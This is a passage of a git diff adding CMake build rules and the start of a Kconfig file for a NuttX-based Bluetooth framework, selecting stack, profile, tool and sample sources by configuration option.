+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/vhal/bt_hci_filter.c)
+ endif()
+
+ file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/stacks/*.c)
+ list(APPEND CSRCS ${APPEND_FILES})
+
+ if(CONFIG_BLUETOOTH_STACK_BREDR_BLUELET
+ OR CONFIG_BLUETOOTH_STACK_LE_BLUELET)
+ file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/stacks/bluelet/*.c)
+ list(APPEND CSRCS ${APPEND_FILES})
+ endif()
+
+ if(CONFIG_BLUETOOTH_STACK_BREDR_ZBLUE OR CONFIG_BLUETOOTH_STACK_LE_ZBLUE)
+ list(APPEND INCDIR ${BLUETOOTH_DIR}/service/stacks/zephyr/include)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/stacks/zephyr/hci_h4.c)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/stacks/zephyr/sal_debug_interface.c)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/stacks/zephyr/sal_zblue.c)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/stacks/zephyr/sal_adapter_interface.c)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/stacks/zephyr/sal_connection_manager.c)
+
+ if(CONFIG_BLUETOOTH_SPP)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/stacks/zephyr/sal_spp_interface.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_A2DP)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/stacks/zephyr/sal_a2dp_interface.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_AVRCP_CONTROL OR CONFIG_BLUETOOTH_AVRCP_TARGET)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/stacks/zephyr/sal_avrcp_interface.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_HID_DEVICE)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/stacks/zephyr/sal_hid_device_interface.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_HFP_HF)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/stacks/zephyr/sal_hfp_hf_interface.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_HFP_AG)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/stacks/zephyr/sal_hfp_ag_interface.c)
+ endif()
+
+ endif()
+
+ if(CONFIG_BLUETOOTH_STACK_LE_ZBLUE)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/stacks/zephyr/sal_adapter_le_interface.c)
+
+ if(CONFIG_BLUETOOTH_BLE_ADV)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/stacks/zephyr/sal_le_advertise_interface.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_BLE_SCAN)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/stacks/zephyr/sal_le_scan_interface.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_GATT_CLIENT)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/stacks/zephyr/sal_gatt_client_interface.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_GATT_SERVER)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/stacks/zephyr/sal_gatt_server_interface.c)
+ endif()
+ endif()
+
+ if(NOT CONFIG_BLUETOOTH_BLE_AUDIO)
+ file(GLOB EXLUDE_FILES ${BLUETOOTH_DIR}/service/stacks/bluelet/sal_lea_*)
+ list(REMOVE_ITEM CSRCS ${EXLUDE_FILES})
+ endif()
+
+ file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/profiles/*.c)
+ list(APPEND CSRCS ${APPEND_FILES})
+
+ file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/profiles/system/*.c)
+ list(APPEND CSRCS ${APPEND_FILES})
+
+ if(NOT CONFIG_BLUETOOTH_A2DP)
+ list(REMOVE_ITEM CSRCS
+ ${BLUETOOTH_DIR}/service/profiles/system/bt_player.c)
+ endif()
+
+ if(NOT
+ (CONFIG_BLUETOOTH_A2DP
+ OR CONFIG_BLUETOOTH_HFP_AG
+ OR CONFIG_BLUETOOTH_HFP_HF
+ OR CONFIG_BLUETOOTH_BLE_AUDIO))
+ list(REMOVE_ITEM CSRCS
+ ${BLUETOOTH_DIR}/service/profiles/system/media_system.c)
+ else()
+ file(GLOB APPEND_FILES
+ ${BLUETOOTH_DIR}/service/profiles/audio_interface/*.c)
+ list(APPEND CSRCS ${APPEND_FILES})
+ endif()
+
+ if(CONFIG_BLUETOOTH_GATT_CLIENT)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/profiles/gatt/gattc_event.c)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/profiles/gatt/gattc_service.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_GATT_SERVER)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/profiles/gatt/gatts_event.c)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/profiles/gatt/gatts_service.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_A2DP)
+ file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/profiles/a2dp/*.c)
+ list(APPEND CSRCS ${APPEND_FILES})
+
+ file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/profiles/a2dp/codec/*.c)
+ list(APPEND CSRCS ${APPEND_FILES})
+
+ list(APPEND INCDIR ${BLUETOOTH_DIR}/service/profiles/a2dp)
+
+ list(APPEND INCDIR ${BLUETOOTH_DIR}/service/profiles/a2dp/codec)
+ endif()
+
+ if(CONFIG_BLUETOOTH_A2DP_SOURCE)
+ file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/profiles/a2dp/source/*.c)
+ list(APPEND CSRCS ${APPEND_FILES})
+ endif()
+
+ if(CONFIG_BLUETOOTH_A2DP_SINK)
+ file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/profiles/a2dp/sink/*.c)
+ list(APPEND CSRCS ${APPEND_FILES})
+ endif()
+
+ if(CONFIG_BLUETOOTH_AVRCP_TARGET OR CONFIG_BLUETOOTH_AVRCP_CONTROL)
+ file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/profiles/avrcp/*.c)
+ list(APPEND CSRCS ${APPEND_FILES})
+
+ list(APPEND INCDIR ${BLUETOOTH_DIR}/service/profiles/avrcp)
+ endif()
+
+ if(CONFIG_BLUETOOTH_AVRCP_TARGET)
+ file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/profiles/avrcp/target/*.c)
+ list(APPEND CSRCS ${APPEND_FILES})
+ endif()
+
+ if(CONFIG_BLUETOOTH_AVRCP_CONTROL)
+ file(GLOB APPEND_FILES
+ ${BLUETOOTH_DIR}/service/profiles/avrcp/control/*.c)
+ list(APPEND CSRCS ${APPEND_FILES})
+ endif()
+
+ if(CONFIG_BLUETOOTH_HFP_HF)
+ file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/profiles/hfp_hf/*.c)
+ list(APPEND CSRCS ${APPEND_FILES})
+ endif()
+
+ if(CONFIG_BLUETOOTH_HFP_AG)
+ file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/profiles/hfp_ag/*.c)
+ list(APPEND CSRCS ${APPEND_FILES})
+ endif()
+
+ if(CONFIG_BLUETOOTH_SPP)
+ file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/profiles/spp/*.c)
+ list(APPEND CSRCS ${APPEND_FILES})
+ endif()
+
+ if(CONFIG_BLUETOOTH_HID_DEVICE)
+ file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/profiles/hid/*.c)
+ list(APPEND CSRCS ${APPEND_FILES})
+ endif()
+
+ if(CONFIG_BLUETOOTH_PAN)
+ file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/profiles/pan/*.c)
+ list(APPEND CSRCS ${APPEND_FILES})
+ endif()
+
+ if(CONFIG_BLUETOOTH_LEAUDIO_CLIENT OR CONFIG_BLUETOOTH_LEAUDIO_SERVER)
+ file(GLOB APPEND_FILES
+ ${BLUETOOTH_DIR}/service/profiles/leaudio/audio_ipc/*.c)
+ list(APPEND CSRCS ${APPEND_FILES})
+
+ file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/profiles/leaudio/*.c)
+ list(APPEND CSRCS ${APPEND_FILES})
+
+ file(GLOB APPEND_FILES
+ ${BLUETOOTH_DIR}/service/profiles/leaudio/codec/*.c)
+ list(APPEND CSRCS ${APPEND_FILES})
+ endif()
+
+ if(CONFIG_BLUETOOTH_LEAUDIO_SERVER)
+ file(GLOB APPEND_FILES
+ ${BLUETOOTH_DIR}/service/profiles/leaudio/server/*.c)
+ list(APPEND CSRCS ${APPEND_FILES})
+ endif()
+
+ if(CONFIG_BLUETOOTH_LEAUDIO_CCP)
+ file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/profiles/leaudio/ccp/*.c)
+ list(APPEND CSRCS ${APPEND_FILES})
+ endif()
+
+ if(CONFIG_BLUETOOTH_LEAUDIO_MCP)
+ file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/profiles/leaudio/mcp/*.c)
+ list(APPEND CSRCS ${APPEND_FILES})
+ endif()
+
+ if(CONFIG_BLUETOOTH_LEAUDIO_VMICS)
+ file(GLOB APPEND_FILES
+ ${BLUETOOTH_DIR}/service/profiles/leaudio/vmics/*.c)
+ list(APPEND CSRCS ${APPEND_FILES})
+ endif()
+
+ if(CONFIG_BLUETOOTH_LEAUDIO_CLIENT)
+ file(GLOB APPEND_FILES
+ ${BLUETOOTH_DIR}/service/profiles/leaudio/client/*.c)
+ list(APPEND CSRCS ${APPEND_FILES})
+ endif()
+
+ if(CONFIG_BLUETOOTH_LEAUDIO_MCS)
+ file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/profiles/leaudio/mcs/*.c)
+ list(APPEND CSRCS ${APPEND_FILES})
+ endif()
+
+ if(CONFIG_BLUETOOTH_LEAUDIO_TBS)
+ file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/profiles/leaudio/tbs/*.c)
+ list(APPEND CSRCS ${APPEND_FILES})
+ endif()
+
+ if(CONFIG_BLUETOOTH_LEAUDIO_VMICP)
+ file(GLOB APPEND_FILES
+ ${BLUETOOTH_DIR}/service/profiles/leaudio/vmicp/*.c)
+ list(APPEND CSRCS ${APPEND_FILES})
+ endif()
+
+ if(CONFIG_BLUETOOTH_LOG)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/utils/log_server.c)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/utils/btsnoop_log.c)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/utils/btsnoop_writer.c)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/utils/btsnoop_filter.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_HCI_FILTER)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/vhal/bt_hci_filter.c)
+ endif()
+
+ file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/vhal/bt_vhal.c)
+ list(APPEND CSRCS ${APPEND_FILES})
+
+ list(APPEND INCDIR ${BLUETOOTH_DIR}/service/vhal)
+ endif()
+
+ if(CONFIG_BLUETOOTH_DEBUG_MEMORY)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/debug/bt_memory.c)
+ endif()
+
+ if(CONFIG_APP_BT_SAMPLE_CODE)
+ if(CONFIG_APP_BT_SAMPLE_CODE_BASIC)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/sample_code/basic/app_bt_gap.c)
+ endif()
+
+ if(CONFIG_APP_BT_SAMPLE_CODE_ENABLE)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/sample_code/enable/app_bt_gap.c)
+ endif()
+
+ if(CONFIG_APP_BT_SAMPLE_CODE_DISCOVERY)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/sample_code/discovery/app_bt_gap.c)
+ endif()
+
+ if(CONFIG_APP_BT_SAMPLE_CODE_CREATEBOND)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/sample_code/createbond/app_bt_gap.c)
+ endif()
+
+ if(CONFIG_APP_BT_SAMPLE_CODE_ACCEPTBOND)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/sample_code/acceptbond/app_bt_gap.c)
+ endif()
+ endif()
+
+ if(CONFIG_BLUETOOTH_TOOLS)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/utils.c)
+
+ if(CONFIG_BLUETOOTH_FRAMEWORK_ASYNC)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/async/gap.c)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/async/log.c)
+
+ if(CONFIG_BLUETOOTH_BLE_ADV)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/async/adv.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_BLE_SCAN)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/async/scan.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_GATT)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/async/gatt_client.c)
+ endif()
+ endif()
+
+ if(CONFIG_BLUETOOTH_BLE_ADV)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/adv.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_BLE_SCAN)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/scan.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_L2CAP)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/l2cap.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_A2DP_SINK)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/a2dp_sink.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_A2DP_SOURCE)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/a2dp_source.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_AVRCP_CONTROL)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/avrcp_control.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_GATT_CLIENT)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/gatt_client.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_GATT_SERVER)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/gatt_server.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_HFP_HF)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/hfp_hf.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_HFP_AG)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/hfp_ag.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_LOG)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/log.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_DEBUG_TRACE)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/debug/bt_trace.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_SPP)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/spp.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_HID_DEVICE)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/hid_device.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_PAN)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/panu.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_LEAUDIO_SERVER)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/lea_server.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_LEAUDIO_MCP)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/lea_mcp.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_LEAUDIO_CCP)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/lea_ccp.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_LEAUDIO_VMICS)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/lea_vmics.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_LEAUDIO_CLIENT)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/lea_client.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_LEAUDIO_VMICP)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/lea_vmicp.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_LEAUDIO_MCS)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/lea_mcs.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_LEAUDIO_TBS)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/lea_tbs.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_STORAGE_UPDATE)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/storage_update/storage_tool.c)
+ endif()
+ endif()
+
+ list(APPEND INCDIR ${BLUETOOTH_DIR}/framework/include)
+ list(APPEND INCDIR ${BLUETOOTH_DIR}/framework/common)
+
+ if(CONFIG_LIB_DBUS_RPMSG_SERVER_CPUNAME OR CONFIG_OFONO)
+ list(APPEND INCDIR ${NUTTX_APPS_DIR}/external/dbus/dbus)
+
+ list(APPEND INCDIR ${NUTTX_APPS_DIR}/external/glib/glib/glib)
+
+ list(APPEND INCDIR ${NUTTX_APPS_DIR}/external/glib/glib)
+
+ list(APPEND INCDIR ${NUTTX_APPS_DIR}/external/glib)
+
+ list(APPEND INCDIR ${NUTTX_APPS_DIR}/frameworks/system/utils/gdbus)
+ endif()
+
+ list(APPEND INCDIR ${BLUETOOTH_DIR}/service)
+
+ list(APPEND INCDIR ${BLUETOOTH_DIR}/service/src)
+
+ list(APPEND INCDIR ${BLUETOOTH_DIR}/service/common)
+
+ list(APPEND INCDIR ${BLUETOOTH_DIR}/service/profiles)
+
+ list(APPEND INCDIR ${BLUETOOTH_DIR}/service/profiles/include)
+
+ list(APPEND INCDIR ${BLUETOOTH_DIR}/service/profiles/system)
+
+ list(APPEND INCDIR ${BLUETOOTH_DIR}/service/stacks)
+
+ list(APPEND INCDIR ${BLUETOOTH_DIR}/service/stacks/include)
+
+ list(APPEND INCDIR ${BLUETOOTH_DIR}/service/vendor)
+
+ list(APPEND INCDIR ${BLUETOOTH_DIR}/dfx)
+
+ if(CONFIG_BLUETOOTH_SERVICE)
+ if(CONFIG_BLUETOOTH_STACK_BREDR_BLUELET
+ OR CONFIG_BLUETOOTH_STACK_LE_BLUELET)
+ list(
+ APPEND INCDIR
+ ${NUTTX_APPS_DIR}/external/bluelet/bluelet/src/samples/stack_adapter/inc
+ )
+
+ list(APPEND INCDIR ${NUTTX_APPS_DIR}/vendor/xiaomi/vela/bluelet/inc)
+ list(APPEND INCDIR ${BLUETOOTH_DIR}/service/stacks/bluelet/include)
+ endif()
+
+ if(CONFIG_BLUETOOTH_STACK_BREDR_ZBLUE OR CONFIG_BLUETOOTH_STACK_LE_ZBLUE)
+ list(APPEND INCDIR ${NUTTX_APPS_DIR}/external/zblue/zblue/port/include/)
+ list(APPEND INCDIR ${NUTTX_APPS_DIR}/external/zblue/zblue/subsys/settings/include/settings)
+ list(APPEND INCDIR
+ ${NUTTX_APPS_DIR}/external/zblue/zblue/port/include/kernel/include)
+ endif()
+
+ list(APPEND INCDIR ${BLUETOOTH_DIR}/service/ipc)
+ endif()
+
+ if (CONFIG_APP_BT_SAMPLE_CODE)
+ if(CONFIG_APP_BT_SAMPLE_CODE_BASIC)
+ list(APPEND INCDIR ${BLUETOOTH_DIR}/sample_code/basic)
+ endif()
+
+ if(CONFIG_APP_BT_SAMPLE_CODE_ENABLE)
+ list(APPEND INCDIR ${BLUETOOTH_DIR}/sample_code/enable)
+ endif()
+
+ if(CONFIG_APP_BT_SAMPLE_CODE_DISCOVERY)
+ list(APPEND INCDIR ${BLUETOOTH_DIR}/sample_code/discovery)
+ endif()
+
+ if(CONFIG_APP_BT_SAMPLE_CODE_CREATEBOND)
+ list(APPEND INCDIR ${BLUETOOTH_DIR}/sample_code/createbond)
+ endif()
+
+ if(CONFIG_APP_BT_SAMPLE_CODE_ACCEPTBOND)
+ list(APPEND INCDIR ${BLUETOOTH_DIR}/sample_code/acceptbond)
+ endif()
+ endif()
+
+ if(CONFIG_BLUETOOTH_TOOLS)
+ list(APPEND INCDIR ${BLUETOOTH_DIR}/tools)
+ endif()
+
+ if(CONFIG_BLUETOOTH_STORAGE_UPDATE)
+ list(APPEND INCDIR ${BLUETOOTH_DIR}/tools/storage_update)
+ endif()
+
+
+ if(CONFIG_ARCH_SIM)
+ list(APPEND CFLAGS -O0)
+ endif()
+
+ list(APPEND CFLAGS -Wno-strict-prototypes)
+
+ nuttx_add_library(libbluetooth STATIC)
+
+ # Add Applications
+ if(CONFIG_BLUETOOTH_SERVER)
+ nuttx_add_application(
+ NAME
+ ${CONFIG_BLUETOOTH_SERVER_NAME}
+ SRCS
+ ${BLUETOOTH_DIR}/service/src/main.c
+ INCLUDE_DIRECTORIES
+ ${INCDIR}
+ STACKSIZE
+ ${CONFIG_BLUETOOTH_TASK_STACK_SIZE}
+ PRIORITY
+ SCHED_PRIORITY_DEFAULT
+ COMPILE_FLAGS
+ ${CFLAGS}
+ DEPENDS
+ libbluetooth)
+ endif()
+
+ if(CONFIG_APP_BT_SAMPLE_CODE)
+ if(CONFIG_APP_BT_SAMPLE_CODE_BASIC)
+ nuttx_add_application(
+ NAME
+ bt_basic
+ SRCS
+ ${BLUETOOTH_DIR}/sample_code/basic/basic.c
+ INCLUDE_DIRECTORIES
+ ${INCDIR}
+ STACKSIZE
+ 8192
+ PRIORITY
+ ${SCHED_PRIORITY_DEFAULT}
+ COMPILE_FLAGS
+ ${CFLAGS}
+ DEPENDS
+ libbluetooth)
+ endif()
+
+ if(CONFIG_APP_BT_SAMPLE_CODE_ENABLE)
+ nuttx_add_application(
+ NAME
+ bt_enable
+ SRCS
+ ${BLUETOOTH_DIR}/sample_code/enable/enable.c
+ INCLUDE_DIRECTORIES
+ ${INCDIR}
+ STACKSIZE
+ 4096
+ PRIORITY
+ ${SCHED_PRIORITY_DEFAULT}
+ COMPILE_FLAGS
+ ${CFLAGS}
+ DEPENDS
+ libbluetooth)
+ endif()
+
+ if(CONFIG_APP_BT_SAMPLE_CODE_DISCOVERY)
+ nuttx_add_application(
+ NAME
+ bt_discovery
+ SRCS
+ ${BLUETOOTH_DIR}/sample_code/discovery/discovery.c
+ INCLUDE_DIRECTORIES
+ ${INCDIR}
+ STACKSIZE
+ 8192
+ PRIORITY
+ ${SCHED_PRIORITY_DEFAULT}
+ COMPILE_FLAGS
+ ${CFLAGS}
+ DEPENDS
+ libbluetooth)
+ endif()
+
+ if(CONFIG_APP_BT_SAMPLE_CODE_ACCEPTBOND)
+ nuttx_add_application(
+ NAME
+ bt_acceptbond
+ SRCS
+ ${BLUETOOTH_DIR}/sample_code/acceptbond/acceptbond.c
+ INCLUDE_DIRECTORIES
+ ${INCDIR}
+ STACKSIZE
+ 8192
+ PRIORITY
+ ${SCHED_PRIORITY_DEFAULT}
+ COMPILE_FLAGS
+ ${CFLAGS}
+ DEPENDS
+ libbluetooth)
+ endif()
+
+ if(CONFIG_APP_BT_SAMPLE_CODE_CREATEBOND)
+ nuttx_add_application(
+ NAME
+ bt_createbond
+ SRCS
+ ${BLUETOOTH_DIR}/sample_code/createbond/createbond.c
+ INCLUDE_DIRECTORIES
+ ${INCDIR}
+ STACKSIZE
+ 8192
+ PRIORITY
+ ${SCHED_PRIORITY_DEFAULT}
+ COMPILE_FLAGS
+ ${CFLAGS}
+ DEPENDS
+ libbluetooth)
+ endif()
+ endif()
+
+ if(CONFIG_BLUETOOTH_TOOLS)
+ nuttx_add_application(
+ NAME
+ bttool
+ SRCS
+ ${BLUETOOTH_DIR}/tools/bt_tools.c
+ INCLUDE_DIRECTORIES
+ ${INCDIR}
+ STACKSIZE
+ 8192
+ PRIORITY
+ ${SCHED_PRIORITY_DEFAULT}
+ COMPILE_FLAGS
+ ${CFLAGS}
+ DEPENDS
+ libbluetooth)
+
+ nuttx_add_application(
+ NAME
+ adapter_test
+ SRCS
+ ${BLUETOOTH_DIR}/tests/adapter_test.c
+ INCLUDE_DIRECTORIES
+ ${INCDIR}
+ STACKSIZE
+ 8192
+ PRIORITY
+ ${SCHED_PRIORITY_DEFAULT}
+ COMPILE_FLAGS
+ ${CFLAGS}
+ DEPENDS
+ libbluetooth)
+ endif()
+
+ if(CONFIG_BLUETOOTH_UPGRADE)
+ nuttx_add_application(
+ NAME
+ bt_upgrade
+ SRCS
+ ${BLUETOOTH_DIR}/tools/storage_transform.c
+ INCLUDE_DIRECTORIES
+ ${INCDIR}
+ STACKSIZE
+ 8192
+ PRIORITY
+ ${SCHED_PRIORITY_DEFAULT}
+ COMPILE_FLAGS
+ ${CFLAGS}
+ DEPENDS
+ libbluetooth)
+ endif()
+
+ if(CONFIG_BLUETOOTH_STORAGE_UPDATE)
+ nuttx_add_application(
+ NAME
+ bt_storage_update
+ SRCS
+ ${BLUETOOTH_DIR}/tools/storage_update/storage_update.c
+ INCLUDE_DIRECTORIES
+ ${INCDIR}
+ STACKSIZE
+ 8192
+ PRIORITY
+ ${SCHED_PRIORITY_DEFAULT}
+ COMPILE_FLAGS
+ ${CFLAGS}
+ DEPENDS
+ libbluetooth)
+ endif()
+
+ if(CONFIG_BLUETOOTH_FEATURE)
+ set(FEATURE_SRCS ${BLUETOOTH_DIR}/feature/src/system_bluetooth_impl.c
+ ${BLUETOOTH_DIR}/feature/src/feature_bluetooth_util.c
+ ${BLUETOOTH_DIR}/feature/src/system_bluetooth_bt_impl.c
+ ${BLUETOOTH_DIR}/feature/src/feature_bluetooth_callback.c)
+
+ target_include_directories(libbluetooth PRIVATE ${CMAKE_CURRENT_LIST_DIR}/feature/include)
+
+ set(JIDL_PATHS ${BLUETOOTH_DIR}/feature/jdil/bluetooth.jidl
+ ${BLUETOOTH_DIR}/feature/jdil/bluetooth_bt.jidl)
+
+ set(FEATURE_NAMES system_bluetooth system_bluetooth_bt)
+
+ if(CONFIG_BLUETOOTH_A2DP_SINK)
+ list(APPEND FEATURE_SRCS ${BLUETOOTH_DIR}/feature/src/system_bluetooth_a2dpsink_impl.c)
+ list(APPEND JIDL_PATHS ${BLUETOOTH_DIR}/feature/jdil/bluetooth_a2dpsink.jidl)
+ list(APPEND FEATURE_NAMES system_bluetooth_a2dpsink)
+ endif()
+
+ if(CONFIG_BLUETOOTH_AVRCP_CONTROL)
+ list(APPEND FEATURE_SRCS ${BLUETOOTH_DIR}/feature/src/system_bluetooth_avrcpcontrol_impl.c)
+ list(APPEND JIDL_PATHS ${BLUETOOTH_DIR}/feature/jdil/bluetooth_avrcpcontrol.jidl)
+ list(APPEND FEATURE_NAMES system_bluetooth_avrcpcontrol)
+ endif()
+
+ nuttx_add_jidl(
+ TARGET
+ libbluetooth
+ FEATURE_SRCS
+ ${FEATURE_SRCS}
+ JIDLS
+ ${JIDL_PATHS}
+ FEATURE_NAMES
+ ${FEATURE_NAMES}
+ OUT_SRC_EXT
+ c)
+ elseif(CONFIG_BLUETOOTH_FEATURE_ASYNC)
+ include(nuttx_add_jidl)
+ set(PY_SCRIPT ${FEATURE_TOP}/tools/jidl/jsongensource.py)
+ set(BINARY_EXT_MODULES_DIR ${CMAKE_BINARY_DIR}/feature/modules/)
+ set(JIDL_PATHS ${BLUETOOTH_DIR}/feature/feature_async/jidl/bluetooth.jidl)
+
+ list(APPEND JIDL_PATHS
+ ${BLUETOOTH_DIR}/feature/feature_async/jidl/bluetooth_ble.jidl)
+
+ nuttx_add_jidl(
+ TARGET
+ libbluetooth
+ JIDL_SCRIPT
+ ${PY_SCRIPT}
+ JIDL_OUT_DIR
+ ${BINARY_EXT_MODULES_DIR}
+ JIDLS
+ ${JIDL_PATHS}
+ OUT_SRC_EXT
+ c)
+ else()
+ endif()
+
+ # Add Dependson
+ nuttx_add_dependencies(TARGET libbluetooth DEPENDS libuv)
+
+ # Export Headers
+ set_property(
+ TARGET nuttx
+ APPEND
+ PROPERTY NUTTX_INCLUDE_DIRECTORIES ${BLUETOOTH_DIR}/include
+ ${BLUETOOTH_DIR}/framework/include)
+
+ # Library Configuration
+ target_compile_options(libbluetooth PRIVATE ${CFLAGS})
+ target_sources(libbluetooth PRIVATE ${CSRCS})
+ target_include_directories(libbluetooth PRIVATE ${INCDIR})
+
+endif()
diff --git a/Kconfig b/Kconfig
new file mode 100644
index 0000000000000000000000000000000000000000..05e32f22c1255c5f5f192089ecaf150da471329f
--- /dev/null
+++ b/Kconfig
@@ -0,0 +1,869 @@
+#
+# Copyright (C) 2020 Xiaomi Corporation
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+
+menuconfig BLUETOOTH
+ bool "Bluetooth"
+ default n
+ depends on LIBUV
+ depends on LIBUV_EXTENSION
+
+if BLUETOOTH
+menuconfig BLUETOOTH_FRAMEWORK
+ bool "Framework API"
+ default n
+ help
+ Enable Bluetooth Framework API
+
+if BLUETOOTH_FRAMEWORK
+choice
+ prompt "Select Bluetooth framework type"
+ default BLUETOOTH_FRAMEWORK_LOCAL
+ config BLUETOOTH_FRAMEWORK_LOCAL
+ bool "Use local API without IPC"
